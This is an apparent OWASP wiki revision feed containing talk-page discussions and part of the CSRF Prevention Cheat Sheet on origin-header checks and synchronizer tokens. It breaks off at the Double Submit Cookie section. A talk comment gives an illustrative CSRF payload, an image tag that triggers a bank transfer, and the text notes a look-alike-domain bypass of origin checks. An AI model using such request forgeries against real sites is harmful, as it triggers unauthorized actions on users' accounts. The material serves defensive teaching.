When a page is reached by entering or pasting a URL into the browser, there is no $_SERVER['HTTP_ORIGIN'] or $_SERVER['HTTP_REFERER'] value. In this case the recommendation to block the action wouldn't seem to make sense. --[[User:Lindon_Barnfield|lindon]] ([[User talk:Lindon_Barnfield|talk]]) 19:02, 29 May 2017 (EDT)&lt;br /&gt;
&lt;br /&gt;
: Thanks you Lindon for the remarks and note about these headers. In CSRF context, we want to protect from request altering data, is the reason why the CSRF filter is applied on request targeting &amp;quot;backend service&amp;quot; in order to be sure to be invoked for services and not for UI URL (ex: when loading a form or the site home page), perhaps i should mention it on sample. If the URL of the service is invoked directly (i.e. entering or pasting a URL into the browser as you mention) is not a normal behavior and the protection should block the request because service is invoked normally by ajax (more common way in recent apps) or submitting a html form. Thanks again for the talk, it helps to fine tune the sample. --[[User:Dominique_RIGHETTO|dominique]] ([[User talk:Dominique_RIGHETTO|talk]]) 06:20, 30 May 2017 (CEST)&lt;br /&gt;
&lt;br /&gt;
:: Indeed, the abuse scenario involves luring a victim user into a malicious site/vulerable blog/forum and letting the user's browser execute requests against a CSRF-vulnerable target site on behalf of the user without the user's participation (or with the user clicking a form submit button aiming at the vulnerable target site).  Luring a victim into pasting a link could be considered a less likely scenario.  I guess that would rely on the target site interpreting a GET request or its embedded requests as actions.  In that unlikely scenario I can see that checking the origin and &amp;quot;referer&amp;quot; referrer will block the unexpected abuse, encouraging developers to rely on REST conventions in mirroring the page state in its address, as changing the application on receiving GET requests will make it vulnerable to embedded foreign requests such as &amp;lt;img src=&amp;quot;https://bank.test/my/transfer?to=GogAndMagog&amp;quot;&amp;gt;. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 09:11, 30 May 2017 (CDT)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Mobile_Top_10_2016-Top_10&amp;diff=228127</id>
		<title>Talk:Mobile Top 10 2016-Top 10</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Mobile_Top_10_2016-Top_10&amp;diff=228127"/>
				<updated>2017-03-29T20:50:25Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: +screen capture attack&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Screen capture attack ==&lt;br /&gt;
Which category would the screen capture attack fall into?  &amp;lt;blockquote&amp;gt;We discovered that most of the mobile banking applications we examined do not use any protection mechanism to defeat the screenshot attacks. The experimental results of the Capture-Me attacks show the weakness of the (user id and password) as the only authentication mechanism used in many mobile banking applications. Our recommendation is that the mobile banking application should implement other authentication techniques such as the multi factor authentication in order to protect their users’ data and their system’s integrity.&amp;lt;/blockquote&amp;gt; http://espace.etsmtl.ca/1498/1/EL-SERNGAWY_Mohamed.pdf --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 15:50, 29 March 2017 (CDT)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=228006</id>
		<title>Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=228006"/>
				<updated>2017-03-28T14:34:07Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: /* Identifying cross-origin requests */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Is this statement really correct?==&lt;br /&gt;
''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie.&lt;br /&gt;
''&lt;br /&gt;
&lt;br /&gt;
This seems incorrect.  An attacker can modify cookies from a sibling domain.  See https://media.blackhat.com/eu-13/briefings/Lundeen/bh-eu-13-deputies-still-confused-lundeen-wp.pdf for examples.  Thus double-submit csrf cookie should also be checked for some tie to the logged in session so that it can't just be pushed in.&lt;br /&gt;
&lt;br /&gt;
Jim July 27, 2014: What about &amp;quot;''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker would be unable to modify or read the value stored in the cookie other than via cross site scripting. (And cross site scripting resistance is a requirement for good CSRF defense to begin with.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 09:47, 30 July 2014 (CDT) I don't think that this is 100% accurate either.  Cookies can be written via CSS in a sibling domain, so that even if the application in not vulnerable to CSS, if the sibling domain application is vulnerable to CSS, or is simply not trustworthy, cookies can be written.  Cookies can also be written via MITM attacks on http.  So the application in question can be completely &amp;quot;secure&amp;quot;, but it's cookies can be tampered with anyhow.  That is why the paper referenced above suggests that the CSRF token must in some way be tied to the user's session or identity and the &amp;quot;naive&amp;quot; double submit method is vulnerable.  At the very least, with naive double submit, the application should check to make sure that there is only one CSRF token cookie value as this will mitigate some attempts to write the cookie from another domain.&lt;br /&gt;
&lt;br /&gt;
Jim July 30, 2014: Ok I got it. Can you make your change live in the document itself to clarify this? Or hey, the entire CSRF Defense cheat sheet needs to be fully re-written and made more concise and more of a &amp;quot;cheat&amp;quot; for developers. Are you interested in taking this over? Aloha! Ps: I'm jim@owasp.org if you want to take this to email.&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 11:45, 31 July 2014 (CDT)I'll take a crack at editing, although I don't know if I am capable of doing a rewrite. I didn't want to make any changes without some prior discussion.&lt;br /&gt;
&lt;br /&gt;
Jim July 31 2014, Thank you - any help is appreciated. I'm happy to discuss any changes you wish to make. I think this entire page needs a re-do, but happy to do that one change at a time. Aloha!&lt;br /&gt;
&lt;br /&gt;
==Confusion About Encrypted Token Pattern==&lt;br /&gt;
Based on discussion about the encrypted token pattern taking place on [https://security.stackexchange.com/questions/105375/csrf-encrypted-token-pattern-need-for-nonce/ security.stackexchange.com], I think that the discussion about the encrypted token pattern should include provide an explanation for the use of the nonce. Is the nonce supposed to be validated? If so, the validation section needs some additional text. Is the nonce there to provide some cryptographic protection? If so, what?&lt;br /&gt;
&lt;br /&gt;
Neil Smithline, http://www.neilsmithline.com 14:45, 15 November 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== CSRF Prevention via Alternative HTTP Methods ==&lt;br /&gt;
&lt;br /&gt;
Browsers permit cross-domain form submission, but only via GET and POST methods.  Modern browsers do not allow you to set the method to anything else, cross domain, unless CORS is used.  One can leverage this to prevent CSRF without the need for cryptographic tokens.  If you code your site so that material changes to stored data (record updates, other writes) happen only via other HTTP methods (such as PUT, DELETE, PATCH, etc), then no other domain can submit those changes.  Of course this means your site will need to use AJAX to submit changes, but this is a very common development pattern already.  Definitely interested in any technical discussion on this idea, but if no one sees a problem with it, I think we should add it to the page as an option.&lt;br /&gt;
&lt;br /&gt;
-- [[User:TimMorgan|TimMorgan]] ([[User talk:TimMorgan|talk]]) 14:01, 19 December 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
== Identifying cross-origin requests ==&lt;br /&gt;
Thanks to the [https://www.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;amp;diff=221340&amp;amp;oldid=221309 September 15, 2016 change], I see that CSRF can be reliably prevented by the action handlers checking the Origin header (or, in the absence of that, the Referer header).  This is because the CSRF scenario abuses unsuspecting users' authorization, where the users generally run an up-to-date browser.  &lt;br /&gt;
&lt;br /&gt;
Еxtra checks such as those of anti-CSRF tokens could help mitigate the case of allowing a broad list of UI origins.  Perhaps, this is what was meant by the phrase &amp;quot;we recommend a second check as an additional precaution to really make sure&amp;quot;?  (The style and the title of the article seems to put the burden of proof on the reader.  The existing prescriptive style encourages that, so I wonder if OWASP could use a descriptive style instead). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 10:02, 27 March 2017 (CDT)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=227958</id>
		<title>Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=227958"/>
				<updated>2017-03-27T15:02:29Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: /* Identifying cross-origin requests */ Clarified&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Is this statement really correct?==&lt;br /&gt;
''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie.&lt;br /&gt;
''&lt;br /&gt;
&lt;br /&gt;
This seems incorrect.  An attacker can modify cookies from a sibling domain.  See https://media.blackhat.com/eu-13/briefings/Lundeen/bh-eu-13-deputies-still-confused-lundeen-wp.pdf for examples.  Thus double-submit csrf cookie should also be checked for some tie to the logged in session so that it can't just be pushed in.&lt;br /&gt;
&lt;br /&gt;
Jim July 27, 2014: What about &amp;quot;''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker would be unable to modify or read the value stored in the cookie other than via cross site scripting. (And cross site scripting resistance is a requirement for good CSRF defense to begin with.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 09:47, 30 July 2014 (CDT) I don't think that this is 100% accurate either.  Cookies can be written via CSS in a sibling domain, so that even if the application in not vulnerable to CSS, if the sibling domain application is vulnerable to CSS, or is simply not trustworthy, cookies can be written.  Cookies can also be written via MITM attacks on http.  So the application in question can be completely &amp;quot;secure&amp;quot;, but it's cookies can be tampered with anyhow.  That is why the paper referenced above suggests that the CSRF token must in some way be tied to the user's session or identity and the &amp;quot;naive&amp;quot; double submit method is vulnerable.  At the very least, with naive double submit, the application should check to make sure that there is only one CSRF token cookie value as this will mitigate some attempts to write the cookie from another domain.&lt;br /&gt;
&lt;br /&gt;
Jim July 30, 2014: Ok I got it. Can you make your change live in the document itself to clarify this? Or hey, the entire CSRF Defense cheat sheet needs to be fully re-written and made more concise and more of a &amp;quot;cheat&amp;quot; for developers. Are you interested in taking this over? Aloha! Ps: I'm jim@owasp.org if you want to take this to email.&lt;br /&gt;
&lt;br /&gt;
--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 11:45, 31 July 2014 (CDT)I'll take a crack at editing, although I don't know if I am capable of doing a rewrite. I didn't want to make any changes without some prior discussion.&lt;br /&gt;
&lt;br /&gt;
Jim July 31 2014, Thank you - any help is appreciated. I'm happy to discuss any changes you wish to make. I think this entire page needs a re-do, but happy to do that one change at a time. Aloha!&lt;br /&gt;
&lt;br /&gt;
==Confusion About Encrypted Token Pattern==&lt;br /&gt;
Based on discussion about the encrypted token pattern taking place on [https://security.stackexchange.com/questions/105375/csrf-encrypted-token-pattern-need-for-nonce/ security.stackexchange.com], I think that the discussion about the encrypted token pattern should include provide an explanation for the use of the nonce. Is the nonce supposed to be validated? If so, the validation section needs some additional text. Is the nonce there to provide some cryptographic protection? If so, what?&lt;br /&gt;
&lt;br /&gt;
Neil Smithline, http://www.neilsmithline.com 14:45, 15 November 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== CSRF Prevention via Alternative HTTP Methods ==&lt;br /&gt;
&lt;br /&gt;
Browsers permit cross-domain form submission, but only via GET and POST methods.  Modern browsers do not allow you to set the method to anything else, cross domain, unless CORS is used.  One can leverage this to prevent CSRF without the need for cryptographic tokens.  If you code your site so that material changes to stored data (record updates, other writes) happen only via other HTTP methods (such as PUT, DELETE, PATCH, etc), then no other domain can submit those changes.  Of course this means your site will need to use AJAX to submit changes, but this is a very common development pattern already.  Definitely interested in any technical discussion on this idea, but if no one sees a problem with it, I think we should add it to the page as an option.&lt;br /&gt;
&lt;br /&gt;
-- [[User:TimMorgan|TimMorgan]] ([[User talk:TimMorgan|talk]]) 14:01, 19 December 2015 (CST)&lt;br /&gt;
&lt;br /&gt;
== Identifying cross-origin requests ==&lt;br /&gt;
Thanks to the [https://www.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;amp;diff=221340&amp;amp;oldid=221309 September 15, 2016 change], I see that CSRF can be reliably prevented by the action handlers checking the Origin header (or, in the absence of that, the Referer header).  This is because the CSRF scenario abuses unsuspecting users' authorization, where the users generally run an up-to-date browser.  &lt;br /&gt;
&lt;br /&gt;
In the case of allowing a broad list of allowed UI origins, the extra checks such as those of anti-CSRF tokens could help mitigate.  Perhaps, this is what was meant by the phrase &amp;quot;we recommend a second check as an additional precaution to really make sure&amp;quot;?  (The style and the title of the article seems to put the burden of proof on the reader.  The existing prescriptive style encourages that, so I wonder if OWASP could use a descriptive style instead). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 10:02, 27 March 2017 (CDT)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=227655</id>
		<title>Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=227655"/>
				<updated>2017-03-20T14:53:36Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: /* Double Submit Cookie */ +a limitation in the Double Submit Cookie guard&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&lt;br /&gt;
[[Cross-Site Request Forgery (CSRF)]] is a type of attack that occurs when a malicious web site, email, blog, instant message, or program causes a user’s web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful CSRF attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In effect, CSRF attacks are used by an attacker to make a target system perform a function via the target's browser without knowledge of the target user, at least until the unauthorized transaction has been committed.&lt;br /&gt;
&lt;br /&gt;
Impacts of successful CSRF exploits vary greatly based on the privileges of each victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire web application. Sites that are more likely to be attacked by CSRF are community websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). Utilizing social engineering, an attacker can embed malicious HTML or JavaScript code into an email or website to request a specific 'task URL'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-Site Scripting flaw (ex: Samy MySpace Worm).&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
== Warning: No Cross-Site Scripting (XSS) Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
[[Cross-Site Scripting]] is not necessary for CSRF to work. However, any cross-site scripting vulnerability can be used to defeat token, Double-Submit cookie, referer and origin based CSRF defenses.  This is because an XSS payload can simply read any page on the site using a XMLHttpRequest and obtain the generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti-CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= General Recommendations For Automated CSRF Defense =&lt;br /&gt;
&lt;br /&gt;
We recommend two separate checks as your standard CSRF defense that does not require user intervention. This discussion ignores for the moment deliberately allowed cross origin requests (e.g., CORS). Your defenses will have to adjust for that if that is allowed.&lt;br /&gt;
&lt;br /&gt;
# Check standard headers to verify the request is same origin&lt;br /&gt;
# AND Check CSRF token&lt;br /&gt;
&lt;br /&gt;
Each of these is discussed next.&lt;br /&gt;
&lt;br /&gt;
== Verifying Same Origin with Standard Headers ==&lt;br /&gt;
&lt;br /&gt;
There are two steps to this check:&lt;br /&gt;
&lt;br /&gt;
# Determining the origin the request is coming from (source origin)&lt;br /&gt;
# Determining the origin the request is going to (target origin)&lt;br /&gt;
&lt;br /&gt;
Both of these steps rely on examining an HTTP request header value. Although it is usually trivial to spoof any header from a browser using JavaScript, it is generally impossible to do so in the victim's browser during a CSRF attack, except via an XSS vulnerability in the site being attacked with CSRF. More importantly for this recommended Same Origin check, a number of HTTP request headers can't be set by JavaScript because they are on the [https://developer.mozilla.org/en-US/docs/Glossary/Forbidden_header_name 'forbidden' headers list]. Only the browsers themselves can set values for these headers, making them more trustworthy because not even an XSS vulnerability can be used to modify them.&lt;br /&gt;
&lt;br /&gt;
The Source Origin check recommended here relies on three of these protected headers: Origin, Referer, and Host, making it a pretty strong CSRF defense all on its own.&lt;br /&gt;
&lt;br /&gt;
=== Identifying Source Origin ===&lt;br /&gt;
&lt;br /&gt;
To identify the source origin, we recommend using one of these two standard headers that almost all requests include one or both of:&lt;br /&gt;
&lt;br /&gt;
* Origin Header&lt;br /&gt;
* Referer Header&lt;br /&gt;
&lt;br /&gt;
==== Checking the Origin Header ====&lt;br /&gt;
If the Origin header is present, verify its value matches the target origin. The [https://wiki.mozilla.org/Security/Origin Origin HTTP Header] standard was introduced as a method of defending against CSRF and other Cross-Domain attacks.  Unlike the Referer, the Origin header will be present in HTTP requests that originate from an HTTPS URL. If the Origin header is present, then it should be checked to make sure it matches the target origin.&lt;br /&gt;
&lt;br /&gt;
This defense technique is specifically proposed in section 5.0 of [https://seclab.stanford.edu/websec/csrf/csrf.pdf Robust Defenses for Cross-Site Request Forgery]. This paper proposes the creation of the Origin header and its use as a CSRF defense mechanism.&lt;br /&gt;
&lt;br /&gt;
There are some situations where the Origin header is not present.&lt;br /&gt;
* [http://stackoverflow.com/questions/20784209/internet-explorer-11-does-not-add-the-origin-header-on-a-cors-request Internet Explorer 11 does not add the Origin header on a CORS request] across sites of a trusted zone.  The Referer header will remain the only indication of the UI origin.&lt;br /&gt;
* [http://stackoverflow.com/questions/22397072/are-there-any-browsers-that-set-the-origin-header-to-null-for-privacy-sensitiv Following a 302 redirect cross-origin]. In this situation, the Origin is not included in the redirected request because that may be considered sensitive information you don't want to send to the other origin. But since we recommend rejecting requests that don't have both Origin and Referer headers, this is OK, because the reason the Origin header isn't there is because it is a cross-origin redirect.&lt;br /&gt;
&lt;br /&gt;
==== Checking the Referer Header ====&lt;br /&gt;
If the Origin header is not present, verify the hostname in the Referer header matches the target origin. Checking the Referer is a commonly used method of preventing CSRF on embedded network devices because it does not require any per-user state.  This makes Referer a useful method of CSRF prevention when memory is scarce or server-side state doesn't exist.  This method of CSRF mitigation is also commonly used with unauthenticated requests, such as requests made prior to establishing a session state which is required to keep track of a synchronization token. &lt;br /&gt;
&lt;br /&gt;
In both cases, just make sure the target origin check is strong. For example, if your site is &amp;quot;site.com&amp;quot; make sure &amp;quot;site.com.attacker.com&amp;quot; doesn't pass your origin check (i.e., match through the trailing / after the origin to make sure you are matching against the entire origin).&lt;br /&gt;
&lt;br /&gt;
==== What to do when Both Origin and Referer Headers Aren't Present ====&lt;br /&gt;
&lt;br /&gt;
If neither of these headers is present, which should be VERY rare, you can either accept or block the request. '''We recommend blocking''', particularly if you aren't using a random CSRF token as your second check. You might want to log when this happens for a while and if you basically never see it, start blocking such requests.&lt;br /&gt;
&lt;br /&gt;
=== Identifying the Target Origin ===&lt;br /&gt;
&lt;br /&gt;
You might think its easy to determine the target origin, but its frequently not. The first thought is to simply grab the target origin (i.e., its hostname and port #) from the URL in the request. However, the application server is frequently sitting behind one or more proxies and the original URL is different from the URL the app server actually receives. If your application server is directly accessed by its users, then using the origin in the URL is fine and you're all set.&lt;br /&gt;
&lt;br /&gt;
==== Determining the Target Origin When Behind a Proxy ====&lt;br /&gt;
&lt;br /&gt;
If you are behind a proxy, there are a number of options to consider:&lt;br /&gt;
&lt;br /&gt;
# Configure your application to simply know its target origin&lt;br /&gt;
# Use the Host header value&lt;br /&gt;
# Use the X-Forwarded-Host header value&lt;br /&gt;
&lt;br /&gt;
Its your application, so clearly you can figure out its target origin and set that value in some server configuration entry. This would be the most secure approach as its defined server side so is a trusted value. However, this can be problematic to maintain if your application is deployed in many different places, e.g., dev, test, QA, production, and possibly multiple production instances. Setting the correct value for each of these situations can be difficult, but if you can do it, that's great.&lt;br /&gt;
&lt;br /&gt;
If you would prefer the application figure it out on its own, so it doesn't have to be configured differently for each deployed instance, we recommend using the Host family of headers. The Host header's purpose is to contain the target origin of the request. But, if your app server is sitting behind a proxy, the Host header value is most likely changed by the proxy to the target origin of the URL behind the proxy, which is different than the original URL. This modified Host header origin won't match the source origin in the original Origin or Referer headers.&lt;br /&gt;
&lt;br /&gt;
However, there is another header called X-Forwarded-Host, whose purpose is to contain the original Host header value the proxy received. Most proxies will pass along the original Host header value in the X-Forwarded-Host header. So that header value is likely to be the target origin value you need to compare to the source origin in the Origin or Referer header.&lt;br /&gt;
&lt;br /&gt;
=== Verifying the Two Origins Match ===&lt;br /&gt;
&lt;br /&gt;
Once you've identified the source origin (from either the Origin or Referer header), and you've determined the target origin, however you choose to do so, then you can simply compare the two values and if they don't match you know you have a cross-origin request.&lt;br /&gt;
&lt;br /&gt;
== CSRF Specific Defense ==&lt;br /&gt;
&lt;br /&gt;
Once you have verified that the request appears to be a same origin request so far, we recommend a second check as an additional precaution to really make sure. This second check can involve custom defense mechanisms using CSRF specific tokens created and verified by your application or can rely on the presence of other HTTP headers depending on the level of rigor/security you want.&lt;br /&gt;
&lt;br /&gt;
There are numerous ways you can specifically defend against CSRF. We recommend using one of the following (in ADDITION to the check recommended above):&lt;br /&gt;
&lt;br /&gt;
1. Synchronizer (i.e.,CSRF) Tokens (requires session state)&lt;br /&gt;
&lt;br /&gt;
Approaches that do require no server side state:&lt;br /&gt;
&lt;br /&gt;
2. Double Cookie Defense&amp;lt;br /&amp;gt;&lt;br /&gt;
3. Encrypted Token Pattern&amp;lt;br /&amp;gt;&lt;br /&gt;
4. Custom Header - e.g., X-Requested-With: XMLHttpRequest&lt;br /&gt;
&lt;br /&gt;
These are listed in order of strength of defense. So use the strongest defense that makes sense in your situation.&lt;br /&gt;
&lt;br /&gt;
=== Synchronizer (CSRF) Tokens ===&lt;br /&gt;
&lt;br /&gt;
* Any state changing operation requires a secure random token (e.g., CSRF token) to prevent CSRF attacks&lt;br /&gt;
* Characteristics of a CSRF Token&lt;br /&gt;
** Unique per user session&lt;br /&gt;
** Large random value&lt;br /&gt;
** Generated by a cryptographically secure random number generator &lt;br /&gt;
* The CSRF token is added as a hidden field for forms or within the URL if the state changing operation occurs via a GET&lt;br /&gt;
* The server rejects the requested action if the CSRF token fails validation&lt;br /&gt;
&lt;br /&gt;
In order to facilitate a &amp;quot;transparent but visible&amp;quot; CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random &amp;quot;challenge&amp;quot; tokens that are associated with the user's current session. These challenge tokens are then inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.&lt;br /&gt;
&lt;br /&gt;
When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as &amp;quot;CSRFToken&amp;quot;. The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;form action=&amp;quot;/transfer.do&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;CSRFToken&amp;quot; &lt;br /&gt;
   value=&amp;quot;OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWE...&lt;br /&gt;
   wYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZ...&lt;br /&gt;
   MGYwMGEwOA==&amp;quot;&amp;gt;&lt;br /&gt;
   …&lt;br /&gt;
   &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted, token should be reset and the event logged as a potential CSRF attack in progress.&lt;br /&gt;
&lt;br /&gt;
To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and/or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the &amp;quot;Back&amp;quot; button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of TLS.&lt;br /&gt;
&lt;br /&gt;
==== Existing Synchronizer Implementations ====&lt;br /&gt;
&lt;br /&gt;
Synchronizer Token defenses have been built into many frameworks so we strongly recommend using them first when they are available. External components that add CSRF defenses to existing applications also exist and are recommended. OWASP has two:&lt;br /&gt;
&lt;br /&gt;
# For Java: OWASP [[CSRF Guard]]&lt;br /&gt;
# For PHP and Apache: [[CSRFProtector Project]]&lt;br /&gt;
&lt;br /&gt;
==== Disclosure of Token in URL ====&lt;br /&gt;
&lt;br /&gt;
Many implementations of synchronizer tokens include the challenge token in GET (URL) requests as well as POST requests. This is often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referer headers if the protected site links to an external site.&lt;br /&gt;
&lt;br /&gt;
In the latter case (leaked CSRF token due to the Referer header being parsed by a linked site), it is trivially easy for the linked site to launch a CSRF attack on the protected site, and they will be able to target this attack very effectively, since the Referer header tells them the site as well as the CSRF token. The attack could be run entirely from JavaScript, so that a simple addition of a script tag to the HTML of a site can launch an attack (whether on an originally malicious site or on a hacked site). Additionally, since HTTPS requests from HTTPS contexts will not strip the Referer header (as opposed to HTTPS to HTTP requests) CSRF token leaks via Referer can still happen on HTTPS Applications.&lt;br /&gt;
&lt;br /&gt;
The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. This is in fact what the [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.1.1 RFC 2616] requires for GET requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests.&lt;br /&gt;
&lt;br /&gt;
In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to &amp;quot;HttpServletRequest.getParameter&amp;quot; will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring.&lt;br /&gt;
&lt;br /&gt;
For these cases, attempting to retrofit this pattern in existing applications requires significant development time and cost, and as a temporary measure it may be better to pass CSRF tokens in the URL. Once the application has been fixed to respond to HTTP GET and POST verbs correctly, CSRF tokens for GET requests should be turned off.&lt;br /&gt;
&lt;br /&gt;
==== ASP.NET, MVC and .NET Web Pages ====&lt;br /&gt;
&lt;br /&gt;
.NET provides comprehensive CSRF defense. For more information visit the following resources.&lt;br /&gt;
* https://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic2&lt;br /&gt;
* http://software-security.sans.org/developer-how-to/developer-guide-csrf&lt;br /&gt;
&lt;br /&gt;
=== Double Submit Cookie ===&lt;br /&gt;
&lt;br /&gt;
